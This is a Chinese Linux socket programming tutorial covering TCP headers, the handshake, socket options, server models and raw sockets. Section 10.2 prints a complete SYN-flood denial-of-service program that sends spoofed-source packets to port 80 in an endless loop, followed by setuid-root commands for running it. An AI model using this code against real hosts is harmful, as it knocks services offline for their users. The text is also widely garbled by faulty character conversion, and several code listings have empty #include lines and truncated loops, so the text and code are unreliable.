source發送TCP數據的源端口
dest接受TCP數據的目的端口
seq標識該TCP所包含的數據字節的開始序列號
ack_seq確認序列號,表示接受方下一次接受的數據序列號.
doff數據首部長度.和IP協議同樣,以4字節爲單位.通常的時候爲5
urg若是設置緊急數據指針,則該位爲1
ack若是確認號正確,那麼爲1
psh若是設置爲1,那麼接收方收到數據後,當即交給上一層程序
rst爲1的時候,表示請求從新鏈接
syn爲1的時候,表示請求創建鏈接
fin爲1的時候,表示親戚關閉鏈接
window窗口,告訴接收者能夠接收的大小
check對TCP數據進行較核
urg_ptr若是urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值
關於TCP協議的詳細狀況,請查看 RFC793
7.6 TCP鏈接的創建
TCP協議是一種可靠的鏈接,爲了保證鏈接的可靠性,TCP的鏈接要分爲幾個步驟.咱們把這個鏈接過程稱爲"三次握手".
下面咱們從一個實例來分析創建鏈接的過程.
第一步客戶機向服務器發送一個TCP數據包,表示請求創建鏈接. 爲此,客戶端將數據包的SYN位設置爲1,
而且設置序列號seq=1000(咱們假設爲1000).
第二步服務器收到了數據包,並從SYN位爲1知道這是一個創建請求的鏈接.因而服務器也向客戶端發送一個TCP數據包.
由於是響應客戶機的請求, 因而服務器設置ACK爲1,sak_seq=1001(1000+1)同時設置本身的序列號.seq=2000(咱們假設爲2000).
第三步客戶機收到了服務器的TCP,並從ACK爲1和ack_seq=1001知道是從服務器來的確認信息.因而客戶機也向服務器發送確認信息.
客戶機設置ACK=1,和ack_seq=2001,seq=1001,發送給服務器.至此客戶端完成鏈接.
最後一步服務器受到確認信息,也完成鏈接.
經過上面幾個步驟,一個TCP鏈接就創建了.固然在創建過程當中可能出現錯誤,不過TCP協議能夠保證本身去處理錯誤的.
說一說其中的一種錯誤.
據說過DOS嗎?(可不是操做系統啊).今年春節的時候,美國的五大網站一塊兒受到攻擊.攻擊者用的就是DOS(拒絕式服務)方式.
歸納的說一下原理.客戶機先進行第一個步驟.服務器收到後,進行第二個步驟.按照正常的TCP鏈接,客戶機應該進行第三個步驟.
不過攻擊者實際上並不進行第三個步驟.由於客戶端在進行第一個步驟的時候,修改了本身的IP地址,就是說將一個實際上不存在的
IP填充在本身IP 數據包的發送者的IP一欄.這樣由於服務器發的IP地址沒有人接收,因此服務端會收不到第三個步驟的確認信號,
這樣服務務端會在那邊一直等待,直到超時.這樣當有大量的客戶發出請求後,服務端會有大量等待,直到全部的資源被用光,
而不能再接收客戶機的請求.這樣當正常的用戶向服務器發出請求時,因爲沒有了資源而不能成功.
因而就出現了春節時所出現的狀況.
(八)Linux網絡編程--8. 套接字選項
有時候咱們要控制套接字的行爲(如修改緩衝區的大小),這個時候咱們就要控制套接字的選項了.
8.1 getsockopt和setsockopt
int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)
level指定控制套接字的層次.能夠取三種值:
1)SOL_SOCKET:通用套接字選項.
2)IPPROTO_IP:IP選項.
3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),咱們下面詳細解釋
optval得到或者是設置套接字選項.根據選項名稱的數據類型進行轉換
選項名 稱說 明 數據類型
========================================================================
SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST 容許發送廣播數 據int
SO_DEBUG容許調 試int
SO_DONTROUTE 不查找路 由int
SO_ERROR得到套接字錯 誤int
SO_KEEPALIVE 保持連 接int
SO_LINGER 延遲關閉連 接 struct linger
SO_OOBINLINE 帶外數據放入正常數據 流int
SO_RCVBUF 接收緩衝區大 小int
SO_SNDBUF 發送緩衝區大 小int
SO_RCVLOWAT接收緩衝區下 限int
SO_SNDLOWAT發送緩衝區下 限int
SO_RCVTIMEO接收超 時struct timeval
SO_SNDTIMEO發送超 時struct timeval
SO_REUSERADDR容許重用本地地址和端 口int
SO_TYPE 得到套接字類 型int
SO_BSDCOMPAT 與BSD系統兼 容int
==========================================================================
IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL在數據包中包含IP首 部 int
IP_OPTINOSIP首部選 項int
IP_TOS服務類型
IP_TTL生存時 間int
==========================================================================
IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEGTCP最大數據段的大 小int
TCP_NODELAY不使用Nagle算 法 int
=========================================================================
關於這些選項的詳細狀況請查看 Linux Programmer's Manual
8.2 ioctl
ioctl能夠控制全部的文件描述符的狀況,這裏介紹一下控制套接字的選項.
int ioctl(int fd,int req,...)
==========================================================================
ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK是否到達帶外標 記int
FIOASYNC異步輸入/輸出標 志 int
FIONREAD緩衝區可讀的字節 數int
==========================================================================
詳細的選項請用 man ioctl_list 查看.
(九)Linux網絡編程--9. 服務器模型
學習過《軟件工程》吧.軟件工程但是每個程序員"必修"的課程啊.若是你沒有學習過, 建議你去看一看. 在這一章裏面,
咱們一塊兒來從軟件工程的角度學習網絡編程的思想.在咱們寫程序以前, 咱們都應該從軟件工程的角度規劃好咱們的軟件,
這樣咱們開發軟件的效率纔會高. 在網絡程序裏面,通常的來講都是許多客戶機對應一個服務器.爲了處理客戶機的請求,
對服務端的程序就提出了特殊的要求.咱們學習一下目前最經常使用的服務器模型.
<一>循環服務器:循環服務器在同一個時刻只能夠響應一個客戶端的請求
<二>併發服務器:併發服務器在同一個時刻能夠響應多個客戶端的請求
9.1 循環服務器:UDP服務器
UDP循環服務器的實現很是簡單:UDP服務器每次從套接字上讀取一個客戶端的請求,處理, 而後將結果返回給客戶機.
能夠用下面的算法來實現.
socket(...);
bind(...);
while(1)
{
recvfrom(...);
process(...);
sendto(...);
}
由於UDP是非面向鏈接的,沒有一個客戶端能夠總是佔住服務端. 只要處理過程不是死循環, 服務器對於每個客戶機的請求老是可以知足.
9.2 循環服務器:TCP服務器
TCP循環服務器的實現也不難:TCP服務器接受一個客戶端的鏈接,而後處理,完成了這個客戶的全部請求後,斷開鏈接.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循環服務器一次只能處理一個客戶端的請求.只有在這個客戶的全部請求都知足後, 服務器才能夠繼續後面的請求.
這樣若是有一個客戶端佔住服務器不放時,其它的客戶機都不能工做了.所以,TCP服務器通常不多用循環服務器模型的.
9.3 併發服務器:TCP服務器
爲了彌補循環TCP服務器的缺陷,人們又想出了併發服務器的模型. 併發服務器的思想是每個客戶機的請求並不禁服務器
直接處理,而是服務器建立一個 子進程來處理.
算法以下:
socket(...);
bind(...);
listen(...);
while(1)
{
accept(...);
if(fork(..)==0)
{
while(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP併發服務器能夠解決TCP循環服務器客戶機獨佔服務器的狀況. 不過也同時帶來了一個不小的問題.爲了響應客戶機的請求,
服務器要建立子進程來處理. 而建立子進程是一種很是消耗資源的操做.
9.4 併發服務器:多路複用I/O
爲了解決建立子進程帶來的系統資源消耗,人們又想出了多路複用I/O模型.
首先介紹一個函數select
int select(int nfds,fd_set *readfds,fd_set *writefds,
fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
通常的來講當咱們在向文件讀寫時,進程有可能在讀寫出阻塞,直到必定的條件知足. 好比咱們從一個套接字讀數據時,可能緩衝區裏面沒有數據可讀 (通訊的對方尚未 發送數據過來),這個時候咱們的讀調用就會等待(阻塞)直到有數據可讀.若是咱們不 但願阻塞,咱們的一個選擇是用select系統調用. 只要咱們設置好select的各個參數,那麼當文件能夠讀寫的時候select回"通知"咱們 說能夠讀寫了. readfds全部要讀的文件文件描述符的集合
writefds全部要的寫文件文件描述符的集合
exceptfds其餘的服要向咱們通知的文件描述符
timeout超時設置.
nfds全部咱們監控的文件描述符中最大的那一個加1
在咱們調用select時進程會一直阻塞直到如下的一種狀況發生. 1)有文件能夠讀.2)有文件能夠寫.3)超時所設置的時間到.
爲了設置文件描述符咱們要使用幾個宏. FD_SET將fd加入到fdset
FD_CLR將fd從fdset裏面清除
FD_ZERO從fdset中清除全部的文件描述符
FD_ISSET判斷fd是否在fdset集合中
使用select的一個例子
int use_select(int *readfd,int n)
{
fd_set my_readfd;
int maxfd;
int i;
maxfd=readfd[0];
for(i=1;i
if(readfd[i]>maxfd) maxfd=readfd[i];
while(1)
{
/*將全部的文件描述符加入*/
FD_ZERO(&my_readfd);
for(i=0;i
FD_SET(readfd[i],*my_readfd);
/*進程阻 塞 */
select(maxfd+1,& my_readfd,NULL,NULL,NULL);
/*有東西能夠讀了 */
for(i=0;i
if(FD_ISSET(readfd[i],&my_readfd))
{
/* 原來是我能夠讀了*/
we_read(readfd[i]);
}
}
}
使用select後咱們的服務器程序就變成了.
初始話(socket,bind,listen);
while(1)
{
設置監聽讀寫文件描述符(FD_*);
調用select;
若是是傾聽套接字就緒,說明一個新的鏈接請求創建
{
創建鏈接(accept);
加入到監聽文件描述符中去;
}
不然說明是一個已經鏈接過的描述符
{
進行操做(read或者write);
}
}
多路複用I/O能夠解決資源限制的問題.這模型其實是將UDP循環模型用在了TCP上面. 這也就帶來了一些問題.
如因爲服務器依次處理客戶的請求,因此可能會致使有的客戶 會等待好久.
9.5 併發服務器:UDP服務器
人們把併發的概念用於UDP就獲得了併發UDP服務器模型. 併發UDP服務器模型實際上是簡單的.和併發的TCP服務器模型同樣是建立
一個子進程來處理的 算法和併發的TCP模型同樣.
除非服務器在處理客戶端的請求所用的時間比較長之外,人們實際上不多用這種模型.
9.6 一個併發TCP服務器實例
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MY_PORT 8888
int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_inclient_addr;
int n;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Socket Error:%s\n\a",strerror(errno));
exit(1);
}
bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 若是服務器終止後,服務器能夠第二次快速啓動而不用等待一段時間*/
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
{
printf("Bind Error:%s\n\a",strerror(errno));
exit(1);
}
listen(listen_fd,5);
while(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
else if(accept_fd<0)
{
printf("Accept Error:%s\n\a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子進程處理客戶端的鏈接 */
char buffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
else if(n<0)
printf("Fork Error:%s\n\a",strerror(errno));
close(accept_fd);
}
}
你能夠用咱們前面寫客戶端程序來調試着程序,或者是用來telnet調試
(十)Linux網絡編程--10. 原始套接字
咱們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裏面咱們一塊兒來學習另外
一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,咱們能夠編寫出由TCP和UDP套接字不可以實現的功能.
注意原始套接字只可以由有 root權限的人建立.
10.1 原始套接字的建立
int sockfd(AF_INET,SOCK_RAW,protocol)
能夠建立一個原始套接字.根據協議的類型不一樣咱們能夠建立不一樣類型的原始套接字 好比:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
詳細的狀況查看 socket的man手冊 下面咱們以一個實例來講明原始套接字的建立和使用
10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裏咱們就一塊兒來編寫一個實現DOS的小程序. 下面是程序的源代碼
/********************DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT80 /* 要攻擊的端口(WEB)*/
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP建立一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/********設置IP數據包格式,告訴系統內核模塊IP數據包由咱們本身來填寫***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/****沒有辦法,只用超級護用戶纔可使用原始套接字 *********/
setuid(getpid());
/*********發送炸彈了!!!!****/
send_tcp(sockfd,&addr);
}
/*******發送炸彈的實現*********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];/**** 用來放置咱們的數據包****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 咱們的數據包實際上沒有任何內容,因此長度就是兩個結構的長度***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/********填充IP數據包的頭部,還記得IP的頭格式嗎?******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;/** 版本通常的是 4**/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度**/
ip->ip_tos=0;/** 服務類型 **/
ip->ip_len=htons(head_len);/** IP數據包的長度**/
ip->ip_id=0; /** 讓系統去填寫吧**/
ip->ip_off=0;/** 和上面同樣,省點時間 **/
ip->ip_ttl=MAXTTL;/** 最長的時間255 **/
ip->ip_p=IPPROTO_TCP;/** 咱們要發的是 TCP包**/
ip->ip_sum=0;/** 校驗和讓系統去作 **/
ip->ip_dst=addr->sin_addr;/** 咱們攻擊的對象**/
/*******開始填寫TCP數據 包*****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;/** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;/** 我要創建鏈接 **/
tcp->check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^**/
while(1)
{
/**你不知道我是從那裏來的,慢慢的去等吧!**/
ip->ip_src.s_addr=random();
/** 什麼都讓系統作了,也沒有多大的意思,仍是讓咱們本身來校驗頭部吧 */
/** 下面這條無關緊要 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost作一下實驗,看看有什麼結果.(千萬不要試別人的啊). 爲了讓普通用戶能夠運行這個程序,
咱們應該將這個程序的全部者變爲root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和通常的套接字不一樣的是之前許多由系統作的事情,如今要由咱們本身來作了. 不過這裏面是否是有不少的樂趣呢.
當咱們建立了一個 TCP套接字的時候,咱們只是負責把咱們要發送的內容(buffer)傳遞給了系統. 系統在收到咱們的數據後,
回自動的調用相應的模塊給數據加上TCP 頭部,而後加上IP頭部. 再發送出去.而如今是咱們本身建立各個的頭部,系統只是把它們
發送出去. 在上面的實例中,因爲咱們要修改咱們的源IP地址, 因此咱們使用了setsockopt函數,若是咱們只是修改TCP數據,
那麼IP數據同樣也能夠由系統來建立的.
11. 後記
總算完成了網絡編程這個教程.算起來我差很少寫了一個星期,原來覺得寫這個應該是一件 不難的事,作起來才知道原來有不少的地方
都比我想象的要難.我還把不少的東西都省略掉了 不過寫完了這篇教程之後,我好象對網絡的認識又增長了一步.
若是咱們只是編寫通常的 網絡程序仍是比較容易的,可是若是咱們想寫出比較好的網絡程序咱們還有着遙遠的路要走.
網絡程序通常的來講都是多進程加上多線程的.爲了處理好他們內部的關係,咱們還要學習 進程之間的通訊.在網絡程序裏面有着許
許多多的突發事件,爲此咱們還要去學習更高級的 事件處理知識.如今的信息愈來愈多了,爲了處理好這些信息,咱們還要去學習數據庫.
若是要編寫出有用的黑客軟件,咱們還要去熟悉各類網絡協議.總之咱們要學的東西還不少不少.
看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看咱們本身的 軟件水平你們就會知道了什麼叫作差距.
咱們如今用的軟件有幾個是咱們中國人本身編寫的.不過你們不要懼怕,不用擔憂.只要咱們仍是清醒的,還可以認清咱們和別人的
差距, 咱們就還有但願. 畢竟咱們如今還年輕.只要咱們努力,認真的去學習,咱們必定可以學好的.咱們就能夠追上別人直到超過別人!
相信一點:
別人能夠作到的咱們同樣能夠作到,並且能夠比別人作的更好!
勇敢的年輕人,爲了咱們偉大祖國的軟件產業,爲了祖國的將來,努力的去奮鬥吧!祖國會記住大家的!linux